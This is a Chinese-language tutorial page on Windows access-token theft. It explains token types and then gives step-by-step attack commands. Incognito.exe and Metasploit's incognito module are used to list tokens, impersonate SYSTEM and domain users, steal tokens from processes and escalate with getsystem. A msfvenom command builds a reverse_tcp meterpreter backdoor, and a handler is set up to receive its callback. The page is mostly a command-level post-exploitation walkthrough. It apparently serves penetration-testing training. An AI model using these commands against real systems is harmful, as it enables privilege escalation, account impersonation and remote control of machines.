Skip to content

令牌盗取攻击

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

令牌有很多种:

• 访问令牌(Access Token):表示访问控制操作主体的系统对象

• 会话令牌(Session Token):是交互会话中唯一的身份标识符

• 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

Windows AccessToken 有两种类型:

Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接

登录、远程桌面登录访问)

Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use

访问共享文件夹)。

注: 两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。

AccessToken 的窃取与利用

AccessToken的窃取与利用需要 administrator管理员权限。也就是说要提权。

窃取 AccessToken 的方法:

incognito.exe 程序 、InvokeTokenManipulat.ps1 脚本 、MSF 里的 incognito 模块

1.incognito

程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

AccessToken的列举(需要 administrator 权限)

incognito.exe list_tokens -u

要使用 AccessToken 模拟其他用户,可以使用命令

incognito.exe execute -c "完整的 Token 名" cmd.exe

例如:模拟 system 权限用户(提权至 system):

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

降权至当前用户:

incognito.exe execute -c "当前用户 token" cmd.exe

获取域普通用户

incognito.exe execute -c "icsec\test" cmd.exe

2.MSF 下的 incognito 模块

use incognito #加载 incognito

list_tokens -u #列出 AccessToken

getuid #查看当前 token

impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令

即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可

steal_token 1252 #从进程窃取 token

getsystem #提升至 system 权限

rev2self #返回到之前的 AccessToken 权限

3.msf 令牌实战

msf 生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.1.10 -f exe -o msf.exe

监听端口

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.1.10

set lport 6666

exploit

使用incognito

use incognito #进入 incognito 模块

list_tokens -u #列出令牌

伪造令牌
impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminstrator 的令牌
impersonate_token moonsec\\test #假冒 icsec\test的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌

除了可以伪造令牌 也可以从进程里窃取令牌 首先使用 ps 命令列出进程 查看进程用户使用 steal_token pid 窃取令牌就有对应的权限。

从进程窃取令牌

steal_token PID